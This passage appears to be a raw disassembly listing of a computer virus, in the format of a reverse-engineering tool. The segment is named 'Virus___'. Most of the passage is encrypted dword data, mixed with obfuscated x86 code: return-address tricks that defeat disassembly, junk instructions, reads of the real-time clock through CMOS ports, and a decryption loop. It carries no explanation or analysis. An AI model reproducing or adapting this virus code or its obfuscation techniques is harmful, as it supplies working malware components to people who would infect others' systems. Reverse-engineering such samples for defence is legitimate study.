		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8ABB7AA4h, 8D40BBDCh, 5D4D928Dh, 53006A09h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 3BE57345h
		dd 7D9D9930h, 11CD9D2Bh, 0E1FF095Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0AFC35242h,	85898197h, 95D2689h
		dd 15F9BD83h, 0F00095Dh, 49484h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 75115F49h
		dd 0FA8B36F6h, 15F9BD83h, 0F01095Dh, 47F84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 9217B1C3h, 31C0A4A7h, 5D2A4D9Dh, 0A1BD8B09h,	83095D18h
		dd 5D15F9BDh, 860F0309h, 40Eh, 17DDBD8Bh, 8B60095Dh, 0D98C66D8h
		dd 0EE8h, 0BB2CE00h, 9722FA60h,	5E928C5Ah, 0BF7649B8h
		dd 44F81BAFh, 148E0F5Fh, 0E9000000h, 0Fh, 0C343F15Ch, 7633474Ah
		dd 0A3462486h, 80541493h, 6A04E1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0D3DE31C3h, 43C6C7D9h
		dd 0FC90A6Eh, 15584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 11E918E7h, 3D000000h
		dd 2F41543Dh, 481A606Bh, 0AADD8518h, 0C1712CBCh, 2C0D858Bh
		dd 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3D0438C3h, 0DF8B6015h, 853361F5h,	95D2765h
		dd 526050F8h, 8C1CBF66h, 13E858h, 21500000h, 0E31E249Eh
		dd 579CB740h, 94E8D1FFh, 0C3E836E5h, 58C7B199h,	24048961h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 29C35646h
		dd 14E8h, 8185500h, 6FEDEACFh, 6478445Ch, 0C409E118h, 3BFBA081h
		dd 5E9FEh, 138E0000h, 5FA24C03h, 31DBD8Bh, 6A095Dh, 18B1B531h
		dd 9D8B095Dh, 95D1869h,	400E6568h, 240481A3h, 5CDEF59Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 77C35343h
		dd 8B08CB80h, 5D14419Dh, 0AD95FF09h, 6A095D0Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 90C6C352h, 29E4B291h, 5D19319Dh, 89F4B309h, 60A56485h
		dd 3880F09h, 0F000000h,	0ACE9F8BFh, 66000001h, 858BDF8Bh
		dd 960A55Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0CDC35040h, 75197A46h, 667BA36Eh, 8B66FB8Bh, 1800C7FAh
		dd 81000000h, 0D64C7AE7h, 60B58B56h, 8B0960A5h,	5D315185h
		dd 895F5709h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 8F4FD11Ch, 0C1BD8BB2h, 8B095D10h
		dd 5D2C0D85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 3980F4A8h, 0DA8BD860h, 8B044689h
		dd 5D10D59Dh, 75B75009h, 8B243489h, 5D3391BDh, 5CB5FF09h
		dd 6A0960A5h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 6841C353h, 61C03B55h, 0A0DE1368h
		dd 0F9D3BF1Fh, 34814BA5h, 0BFDDEC24h, 50006A1Fh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8D492784h, 60A56485h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0D40022ADh, 0BB31CF4h
		dd 6880F50h, 0F000000h,	84h, 24048900h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 0EFC35747h, 8E0F15C0h
		dd 17h,	12E9h, 585CC300h, 0F3CBBD80h, 668192E1h, 0C7CA2532h
		dd 80561EE1h, 95FFF5C3h, 95D0FADh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0B0C35646h,	6655D5A3h, 3195898Eh
		dd 61095D15h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0BEC35242h, 2AFE0244h, 62860C00h, 0F985C7D2h, 3095D15h
		dd 89000000h, 5D289D9Dh, 64BD8309h, 960A5h, 60840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 442F54C3h, 0F1EF81ADh, 8E9CCh, 247A0000h
		dd 83B8483Ah, 0FD8AAC50h, 44E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0E8A526B3h
		dd 0D5E9EB28h, 1091BD09h, 3050095Dh, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 74F4EC97h
		dd 10E9ADh, 28320000h, 5BE710B5h, 1694106h, 2908D241h
		dd 9589BE32h, 95D1165h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C0C35747h, 13E949h, 8FCD0000h, 3A5A340h
		dd 0E9EAF33Eh, 0EEF2CBB6h, 1F250990h, 0F9BD8325h, 3095D15h
		dd 426850Fh, 8D890000h,	95D12BDh, 0A564BD83h, 0F000960h
		dd 41384h, 0E98D8900h, 0FF095D29h, 60A564B5h, 50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 45A5D573h, 8E9h, 338A5600h, 35CFD9CBh, 10E9575Bh, 87000000h
		dd 59E61893h, 77283422h, 6012EF0Ch, 5BBF357Bh, 0A4195FFh
		dd 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 36162CC3h, 2057A75Bh, 0CF8166AFh,	0B58B819Ah
		dd 960A558h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	9CC35040h, 0E8597CB5h, 6588056Ch, 106C7F1h, 6A000100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 6338C350h, 966C1144h, 0B350FA8Bh,	0BD8B966Bh
		dd 95D094Dh, 0A564B5FFh, 0BD030960h, 95D032Dh, 270ADEBBh
		dd 0FD95FF42h, 6A095D05h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FF7C357h, 138Dh, 7E800h
		dd 0D1370000h, 10365DD0h, 31BD8B3Eh, 5B095D1Bh,	21ACCB81h
		dd 0B58B6D4Ah, 960A558h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 95C35343h, 0D1719CB9h, 0CB16CBCAh, 9E9h
		dd 0A6485800h, 9C295AA2h, 858B3E01h, 95D304Dh, 0CE87CB3h
		dd 0C8000000h, 8179B86Eh, 33B47A03h, 29C3A14Dh,	5D0A2195h
		dd 86895F09h, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 89C35141h, 828D5252h,	0EFBF5DFBh, 19958B0Fh
		dd 8B095D09h, 5D1B31BDh, 0D8BF0F09h, 8B04C283h,	5D2515BDh
		dd 20508909h, 858DBFB3h, 960BBC1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0D1C35545h,	99704A52h, 0B886895Dh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F3FAC353h, 42C78166h,	6A006AA8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 8824C352h, 73B6C16Ah, 8B63C9ACh, 64B5FFFBh
		dd 0E80960A5h, 5, 5E24DE48h, 0EF81661Ah, 0FF5F81F0h, 5D14C995h
		dd 61850109h, 96095D18h, 20FABB66h, 840F6050h, 6, 310F5250h
		dd 0BF66585Ah, 96619AF4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 3FC35747h, 0D59D8B47h, 0FF095D02h, 60A564B5h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0AA2F1A91h, 0D59D89D6h, 0F5095D10h, 137D95FFh
		dd 9D89095Dh, 95D075Dh,	19D1BD83h, 0F00095Dh, 4A84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 1F0E925Ch, 47497B54h, 6890Fh, 9D890000h, 95D07C9h, 17658D31h
		dd 8B96095Dh, 0FE8B50DFh, 7E896h, 7FE80000h, 2A939ABh
		dd 0FF5FF531h, 60A564B5h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F8AD3AF3h
		dd 1471BD2Bh, 95FF095Dh, 95D2F95h, 0BD8B6051h, 95D148Dh
		dd 3231858Bh, 5B61095Dh, 0A564B5FFh, 95FF0960h,	95D1795h
		dd 74A6C4BBh, 11BD8303h, 2095D0Bh, 6C840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 55EBA4C3h, 0AE914DCh, 0C7000000h, 0A6979ED2h, 0CDA58DC7h
		dd 8BFC8AA4h, 5D221585h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 2B54C84Dh, 5D16359Dh
		dd 0B5BF6609h, 0C6AFh, 48B0Fh, 0BF660000h, 85C7693Bh, 95D0545h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+95D19E5h],	edx
		mov	edi, [ebp+95D0745h]
		jmp	loc_5B36AC
; ---------------------------------------------------------------------------
		mov	di, dx
		mov	eax, ecx
		mov	[ebp+95D2301h],	esi
		lea	eax, [ebp+95D2239h]
		push	0
		push	ebp
		call	sub_5B442D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B442D	proc near		; CODE XREF: Virus___:005B4425p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B442D	endp

; ---------------------------------------------------------------------------
		db 0Ch,	0ABh, 66h
		dd 50E6CABBh, 0AE8h, 3FEEFB00h,	0B3878BF8h, 0E967CE04h
		dd 5, 72A7D01Bh, 4895B83h, 5E924h, 17610000h, 66A14642h
		dd 7130C781h, 6AF5006Ah, 1850900h, 8D095D1Fh, 619ACE85h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 12FD0EA0h, 60902B56h, 17800Fh, 12E90000h
		dd 90000000h, 2A5A6D0Eh, 4C92704h, 1A93C9FCh, 65E03379h
		dd 818D8999h, 61095D31h, 0F05C083h, 0E890DFB7h,	11h, 9AEE1CA1h
		dd 6222C785h, 99B38AD6h, 900C0A8Eh, 12E9E7h, 0D4BE0000h
		dd 0B360DADAh, 1730190Fh, 0FAB2D70Bh, 8843089Ch, 9E9505Bh
		dd 0A3000000h, 59F744A9h, 74EEAE61h, 0D9B70F90h, 18559D33h
		dd 6A095Dh, 6AF98B66h, 31852900h, 0FF095D25h, 5D085195h
		dd 50006A09h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0F774F613h, 425E5C89h, 13459D8Bh, 8D8D095Dh
		dd 960914Ch, 0CE9h, 0C0D54400h,	0CBAC557Bh, 721D8F40h
		dd 0BFD1FF91h, 72AEDD4Dh, 971BD83h, 0F01095Dh, 8185h, 55BD8B00h
		dd 6A095D05h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0DF8B66BFh, 0CFBB6650h, 240489DBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 41C35646h
		dd 665138C8h, 0FFF593BBh, 5D14C995h, 57006A09h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 671DA23Bh
		dd 7695F91h, 6459589h, 0E5E9095Dh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 9619AD8h
		push	0
		push	eax
		call	sub_5B461A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B461A	proc near		; CODE XREF: Virus___:005B4612p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5B461A	endp

; ---------------------------------------------------------------------------
		dw 288Eh
		dd 67B21201h, 0A66D42FCh, 72DB8166h, 4D9D2B1Bh,	6A095D09h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 7C8BC353h, 931AEDD7h, 0D9B70F52h,	68C0F5Bh
		dd 0F000000h, 8Fh, 0E2858D00h, 0F809608Ah, 49CCCF81h, 0F90446Ch
		dd 8Fh,	8B665000h, 8E890DEh, 0C9000000h, 15D9E148h, 5B3B3AC9h
		dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 1E53C351h, 23B21610h
		dd 8AC68B29h, 258964F8h, 0
; ---------------------------------------------------------------------------
		call	sub_5B46E0
		neg	byte ptr ds:0A0BE7153h
		sahf
		xchg	eax, ebp
		mov	ecx, 0CAD1719Ch
		retf
; ---------------------------------------------------------------------------
		push	ss

; =============== S U B	R O U T	I N E =======================================



sub_5B46E0	proc near		; CODE XREF: Virus___:005B46CCp
		and	edi, [ebp+95D32D1h]
		pop	ebx
		inc	dword ptr [ebp+95D2169h]
		sbb	di, 6781h
		push	esi
		mov	di, 7814h
		pop	edi
		push	0FFFFFFFFh
		push	0
		push	edx
		call	sub_5B4705
		and	[edx-3Dh], bl
sub_5B46E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B4705	proc near		; CODE XREF: sub_5B46E0+1Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B4705	endp

; ---------------------------------------------------------------------------
		fisttp	word ptr [ecx]
		push	dword ptr [ebp+95D2449h]
		ja	loc_5B4731
		pusha
		mov	[ebp+95D286Dh],	edi
		or	ecx, [ebp+95D136Dh]
		popa


loc_5B4731:				; CODE XREF: Virus___:005B471Dj
		call	dword ptr [ebp+95D0385h]
		jmp	loc_5B484F
; ---------------------------------------------------------------------------
		jmp	loc_5B4747
; ---------------------------------------------------------------------------
		aam	27h
		pop	ecx
		icebp
		mov	dh, 0A3h


loc_5B4747:				; CODE XREF: Virus___:005B473Cj
		mov	al, 0
		xor	bl, 32h
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		in	al, 71h		; CMOS Memory
		jno	loc_5B475C
		sub	ebx, [ebp+95D11DDh]


loc_5B475C:				; CODE XREF: Virus___:005B4750j
		cmp	al, 61h
		jnb	loc_5B484F
		xor	bh, 0D4h
		movzx	ecx, al
		mov	edx, 6
		jmp	loc_5B4784
; ---------------------------------------------------------------------------
		dd 37B2C23Dh, 365DD0D1h, 0A9E23E10h, 7A5BCB45h
; ---------------------------------------------------------------------------


loc_5B4784:				; CODE XREF: Virus___:005B476Fj
		mov	eax, ecx
		call	sub_5B4798
		pusha
		mov	eax, ds:5F19B418h
		popa
		hlt
; ---------------------------------------------------------------------------
		sub	ecx, [esi]
		setalc
		push	cs
		wait

; =============== S U B	R O U T	I N E =======================================



sub_5B4798	proc near		; CODE XREF: Virus___:005B4786p
		pop	edi
		pusha
		movzx	ecx, cx
		push	edi
		mov	al, 0Fh
		pop	edi
		popa
		shr	eax, 4
		or	edi, [ebp+95D2A0Dh]
		mul	dx
		pusha
		jmp	loc_5B47BD
; ---------------------------------------------------------------------------
		dd 0DE3D2F03h, 7A5DAC87h
; ---------------------------------------------------------------------------
		dec	esi


loc_5B47BD:				; CODE XREF: sub_5B4798+17j
		movzx	eax, ax
		popa
		sub	ecx, eax
		mov	edx, ecx
		mov	ebx, [ebp+95D28D9h]
		jmp	loc_5B484F
; ---------------------------------------------------------------------------
		sub	[ebp+95D21A9h],	edx
		mov	eax, [ebp+95D3185h]
		pusha
		sub	esi, [ebp+95D2741h]
		popa
		add	eax, 7
		or	[ebp+95D0419h],	esi
		add	eax, 0
		mov	edi, 121FE414h
		cmp	edx, eax
		jnb	loc_5B4816
		sbb	ebx, 10B2E3A9h
		push	esi
		mov	edi, [ebp+95D328Dh]
		pop	ebx
		jmp	loc_5B484F
; ---------------------------------------------------------------------------
		mov	edi, [ebp+95D3219h]


loc_5B4816:				; CODE XREF: sub_5B4798+5Fj
		mov	ecx, [ebp+95D29A9h]
		mov	[ebp+95D13E1h],	esi
		and	ecx, 1
		jz	loc_5B484F
		mov	[ebp+95D0C5Dh],	edx
		and	dword ptr [ebp+95D29A9h], 0FFFFFFFEh
		mov	[ebp+95D318Dh],	edi
		mov	[ebp+95D3185h],	edx
		mov	edi, [ebp+95D0381h]
		jmp	$+5


loc_5B484F:				; CODE XREF: Virus___:005B4737j
					; Virus___:005B475Ej ...
		lea	esi, [ebp+96107EDh]
		push	0
		push	edx
		call	sub_5B4860
		and	[edx-3Dh], bl
sub_5B4798	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B4860	proc near		; CODE XREF: sub_5B4798+C0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B4860	endp

; ---------------------------------------------------------------------------
		cmc
		mov	ebx, [ebp+95D0C3Dh]
		js	loc_5B487E
		clc


loc_5B487E:				; CODE XREF: Virus___:005B4877j
		push	0
		push	0
		push	edx
		call	sub_5B488B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B488B	proc near		; CODE XREF: Virus___:005B4883p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B488B	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		sbb	ebx, 8DBCE22h
		call	dword ptr [ebp+95D11B1h]
		mov	edi, [ebp+95D2909h]
		mov	di, 0E220h
		mov	ecx, 7D2h
		sub	ebx, [ebp+95D0645h]
		and	ecx, 0FFFFFFFCh
		push	0
		push	edi
		call	sub_5B48CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B48CB	proc near		; CODE XREF: Virus___:005B48C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B48CB	endp

; ---------------------------------------------------------------------------
		db 19h
		dd 86C28915h, 858947C8h, 95D17E9h, 0CBC3EF81h, 23FC6F78h
		dd 5D03B19Dh, 14E809h, 0AFC0000h, 2129C9C2h, 4A619D35h
		dd 1CAF052Dh, 6F6FF67Ch, 0F60294Eh, 8Bh, 0BE800h, 0B6070000h
		dd 0B8783869h, 3645A253h, 5B615A88h, 6AC02Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0F13D88C3h
		dd 0DB589D2h, 0BA095D07h, 0
; ---------------------------------------------------------------------------
		or	bl, 0BEh


loc_5B4957:				; CODE XREF: Virus___:005B4961j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B4957
		or	[ebp+95D2BB9h],	ecx
		push	0
		push	eax
		call	sub_5B4974
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4974	proc near		; CODE XREF: Virus___:005B496Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5B4974	endp

; ---------------------------------------------------------------------------
		dd 6CDD3F79h, 8E0F50A8h, 6, 64A9CF81h, 0D5F19B5h, 88h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E0C35141h
		dd 13E959h, 58F90000h, 6DEBBC77h, 0A3292BF5h, 0AF7C439Ch
		dd 5EB6E2EDh, 19958BB4h, 0F095D09h, 0C82h, 68A0F00h, 31000000h
		dd 5D31F985h, 498D8B09h, 6A095D13h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C95C350h
		dd 0E9B96805h, 0E06C55BBh, 0D98B5F50h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 51006AD9h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0D509E067h, 0E851F573h, 0Dh,	4DD18ABCh, 36E0CEE7h, 0BE655F3Dh
		dd 0C38166CCh, 835BA31Bh, 5D3169BDh, 840F0009h,	73h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C2C35545h, 9D89C4E3h
		dd 95D2321h, 0B8h, 1D852900h, 0B7095D14h, 928D8D7Ch, 0E9095D4Dh
		dd 13h,	2874B18Eh, 0D40674B7h, 0ECD17E2h, 0F47C3AC0h, 0FF275044h
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 925C1DC9h, 83541F0Eh, 5D15F9BDh,	840F0009h
		dd 476h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	3AC35141h, 8374C937h, 5D15F9BDh, 840F0109h, 465h
		dd 0F9BD83F9h, 3095D15h, 421860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 896050C3h
		dd 0E98589A7h, 60095D05h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 31C35141h, 306410DCh,	88BC2688h, 0E99CB732h
		dd 10h,	500A5ACDh, 3866570Dh, 86FD1ACFh, 0CE0EB331h, 0F8D98C66h
		dd 0F04E180h, 0C90AD8BFh, 167840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 748776C3h
		dd 9398E4D6h, 0BD8B47BBh, 95D0F05h, 33B99D09h, 858B095Dh
		dd 95D2C0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	9DC35545h, 45F5FF1Bh, 11E88Fh, 106D0000h, 0F7903C0Fh
		dd 113451D5h, 0A21E157Ch, 5BCAFEA2h, 27658533h,	6A095Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0C6F7EBC3h, 6A9772F3h, 0E8530736h, 0Ah, 0C105D764h
		dd 0AB73E3BFh, 0FA8BB56Dh, 60505B5Fh, 11E8h, 0E26C2F00h
		dd 0AD52B2FFh, 0FCB7208Fh, 91BAA1B2h, 95B4E0B4h, 0F52505Fh
		dd 8Bh,	8B310F00h, 61585AFBh, 60240489h, 92901EBFh, 6A610Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8AC35242h
		dd 0F88BAA8Dh, 0A3D1E368h, 81F88B46h, 0D21C2434h, 0BF0F46BCh
		dd 0AD95FFF8h, 6A095D0Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 180DC357h, 0CF5A4010h
		dd 648589F8h, 660960A5h, 4BD1CB81h, 1EEE9h, 11E900h, 57410000h
		dd 0A36491CAh, 0B8AE2369h, 114CE839h, 890A1F44h, 5D0955BDh
		dd 5C858B09h, 660960A5h, 0C7E5EBBBh, 1800h, 0FE900h, 39B30000h
		dd 0C9BED8E1h, 0E925C1Dh, 497B541Fh, 5FF95647h,	0A560B58Bh
		dd 7E90960h, 91000000h,	23E1B23Ch, 8B661526h, 51858BF9h
		dd 60095D31h, 10E9h, 649CF600h,	9BE62A0Ch, 126ADB9Ch, 0DB581D2Dh
		dd 5E926h, 0A9380000h, 6198DD53h, 6A0689h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 6E94BC3h
		dd 30000000h, 0D7FE796Fh, 258D292Fh, 8B095D1Dh,	5D2C0D85h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 4689F9C8h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 34E5628Bh
		dd 8B665AC5h, 0B860FF8h, 0E9000000h, 6,	6DDC97Eh, 8B50E8E3h
		dd 243489DFh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0D8C35040h, 8C66B3A9h, 5CB5FFF5h, 0F50960A5h, 6EEA4468h
		dd 13E97Ah, 0A9900000h,	2D6FE43Bh, 0BA646298h, 7DA318C6h
		dd 0B6D26F43h, 2434814Eh, 7A71E9BBh, 68F0Fh, 0BD8B0000h
		dd 95D1D51h, 0A564858Dh, 8F0F0960h, 3, 0E8FB8B66h, 11h
		dd 141E2FCEh, 5EE902B1h, 1555FA45h, 93B167FDh, 0D1BD8B82h
		dd 5F095D06h, 10E86050h, 92000000h, 39AEB283h, 9057D7D6h
		dd 17916F98h, 60559372h, 0B3565E61h, 89615AF9h,	6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0C0189DC3h, 0BD6CE064h, 61BD8960h, 29095D19h, 5D0B8985h
		dd 95FF6109h, 95D0FADh,	610CF780h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5C35646h, 77C081E4h, 0D381AF34h
		dd 647E0E3Fh, 15F985C7h, 3095Dh, 0F530000h, 835BFABFh
		dd 60A564BDh, 840F0009h, 2Fh, 245DB589h, 3FE9095Dh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0FF42C350h, 0B64D66D2h, 508FB7D7h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 6A38B9C3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0ABB1C357h, 0C5923D1Bh, 0BF6648E8h
		dd 0BD830842h, 95D15F9h, 0DF850F03h, 8B000003h,	5D2A099Dh
		dd 64BD8309h, 960A5h, 3CC840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C9DE27C3h
		dd 64B5FFFDh, 0F0960A5h, 95FFDBB7h, 95D0A41h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 66C35545h, 0B5F43B99h
		dd 0BF66ADC4h, 9D8983E1h, 95D1D31h, 0A558B58Bh,	9D8B0960h
		dd 95D1711h, 106C7h, 60960001h,	61605250h, 6160310Fh, 820F585Ah
		dd 2, 50616160h, 96DF8B66h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 9CC35545h, 4330A5BEh,	0D9201130h, 42EC44BFh
		dd 33BF664Ch, 64B5FF09h, 6A0960A5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0EE1DC353h
		dd 24FD4069h, 2219B501h, 9D8B095Dh, 95D2605h, 26ADB589h
		dd 95FF095Dh, 95D05FDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 5BC35646h, 0CFF8C3F9h, 0B58BC3DAh, 960A558h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 26C35545h
		dd 0FED267C8h, 858B617Ah, 95D304Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 17C35343h, 895B04AEh, 0C486h
		dd 8820F00h, 53000000h,	1695BD89h, 8B5B095Dh, 5D091995h
		dd 50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0BB201A48h, 33063CE2h, 0E804C283h, 0Eh, 0F8769D68h
		dd 1150FE88h, 548BE7C0h, 0B529B287h, 95D2B09h, 2050895Fh
		dd 20C9B589h, 858D095Dh, 960BBC1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 2CC35545h, 77507439h, 0BDDFE7C4h
